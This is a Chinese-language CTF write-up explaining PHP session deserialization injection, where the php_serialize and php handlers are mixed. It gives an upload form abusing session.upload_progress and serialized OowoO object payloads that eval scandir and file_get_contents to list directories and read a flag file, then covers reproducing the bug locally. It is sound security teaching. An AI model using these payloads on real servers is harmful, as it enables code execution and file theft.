0x00前言:
php存儲session有三種模式,php_serialize, php, binary
這里着重討論php_serialize和php的不合理使用導致的安全問題
關於session的存儲,java是將用戶的session存入內存中,而php則是將session以文件的形式存儲在服務器某個tmp文件中,可以在php.ini里面設置session.save_path存儲的位置

設置序列化規則則是

注意,php_serialize在5.5版本后新加的一種規則,5.4及之前版本,如果設置成php_serialize會報錯
session.serialize_handler = php 一直都在 它是用 |分割
session.serialize_handler = php_serialize 5.5之后啟用 它是用serialize反序列化格式分割
首先看session.serialize_handler = php序列化的結果

它的規則是$_SESSION是個數組,數組中的鍵和值中間用 | 來分割,值如果是數組或對象按照序列化的格式存儲
然后看看session.serialize_handler = php_serialize的序列化結果

它是全程按照serialize的格式序列化了$_SESSION這個數組
它比php的格式多了個最前面多了個 "a:2:{ ...." 也就是$_SESSION這個數組有2個元素,還有個區別在於,它的鍵名也表明了長度和屬性,中間用 ; 來隔開鍵值對
雖然2個序列化格式本身沒有問題,但是如果2個混合起用就會造成危害
形成原理是在用session.serialize_handler = php_serialize存儲的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值時 "|"會被當成鍵值對的分隔符
比如,我先用php存了個數組,在$_SESSION['b']的值里面加入 | ,並在之后寫成一個數組的序列化格式

如果正常的用php_serialize解析,它返回的是$_SESSION['b']是個長度為44的字符串

如果用php進行解析,發現它理解為一個很長的名字的值是一個帶了2個元素的數組


0x01一道CTF題目:
題目是道網上常常拿來做例子的一道php反序列化題目
題目連接:http://web.jarvisoj.com:32784/
源碼已經給出,如下
<?php //A webshell is wait for you ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
能夠查看phpinfo,於是發現全局用的php_serialize進行序列化,而這個頁面是以php來進行解析的

那么可以利用上面的理論進行事先准備個$this->mdzz= 'payload' 進行攻擊
問題是怎么將payload寫入session,這里php有個上傳文件的會將文件名寫入session的技巧
https://bugs.php.net/bug.php?id=71101
原文意思大致要求滿足以下2個條件就會寫入到session中
session.upload_progress.enabled = On
上傳一個字段的屬性名和session.upload_progress.name的值相,這里根據上面的phpinfo信息看得出,值為PHP_SESSION_UPLOAD_PROGRESS,即
name="PHP_SESSION_UPLOAD_PROGRESS"
寫好腳本
<html> <head> <title>upload</title> </head> <body> <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" /> <input type="file" name="file" /> <input type="submit" /> </form> </body> </html>
注意這里 "PHP_SESSION_UPLOAD_PROGRESS" 的 value不能為空
這里根據題目的類,需要修改mdzz這個屬性,於是寫個php生成payload,因為看看phpinfo的禁用函數,能調用系統的函數都被ban了,於是只能用var_dump,scandir和file_get_contents來讀取flag
<?php class OowoO { public $mdzz = "var_dump(scandir('./'));"; function __destruct() { eval($this->mdzz); } } $a = new OowoO(); echo serialize($a) . "<br>"; ?>
生成payload
O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}
當然這個是不行的,我們要稍微改一下,"要轉義,前面加個|
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:24:\"var_dump(scandir('./'));\";}
先隨便傳個文件,把包抓下來,把文件名改成我們的payload

能夠查看到根目錄的情況了
網上有個payload是直接用
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
我因為太菜最先沒想到,於是去看了下phpinfo的session的存放位置,有個/opt/lampp/估計是裝的的xampp這個集成的環境,而這個集成環境的web頁面放在htdocs目錄下的
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"var_dump(scandir('/opt/lampp/'));\";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir('/opt/lampp/htdocs/'));\";}
看到flag文件了

接下來是讀取,這里額外提一句file_put_contents和fie_get_contents能夠使用php://filter偽協議,但這里用var_dump導出來,不是文件包含,看下源碼就能找打答案
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));\";}

0x03環境復現:
因為最先學習這道題的時候想看看session文件,於是在本地搭建了個環境
<?php ini_set('session.serialize_handler', 'php'); session_start(); var_dump($_SESSION); echo "<br>"; class test { public $wd; function __destruct() { eval($this->wd); } } ?>
最先我用一個文件直接生產用php_serialize規則序列化並直接存在session中

然后訪問模擬搭建的頁面,漏洞能夠利用成功

於是我改用文件上傳的形式,結果死活沒法生成正確的session

再看看session文件,啥都沒寫入

這是為什么,想了一晚上,看了看phpinfo的信息,上傳保留session的enabled是默認開啟的,session.upload_progress.name也是默認

上傳的html頁面能在上面的ctf題中成功運行,說明不是上傳的請求頭格式問題
payload如果寫入session文件中也能正常觸發phpinfo
但是現在的問題是session寫不進去,於是估計是配置問題了。
我再讀了遍:https://bugs.php.net/bug.php?id=71101
發現它給出它的運行環境的配置,於是我按照它的ini對應的配置,再配了遍自己的php.ini,發現很多配置都是被注釋掉的,也就是默認的值
最后成功執行了

session文件也寫入了,可以仔細看看寫的session文件內容

因為用php解析了,為了使解析格式正確,它直接丟掉了些 },如果正常解析的話,可以看出多了很多鍵值對,但是正是因為用php解析, |前面的所有字符都當做鍵名,而后面的payload則被反序列化,造成漏洞利用

再回到為什么之前不行,現在可以運行的問題上,最后我測試了是 session.upload_progress.cleanup這個參數
session.upload_progress.cleanup = Off
這個要為Off或者0,才能將上傳的內容保存到session,但是,php默認的是On,所有最先死活傳不上去
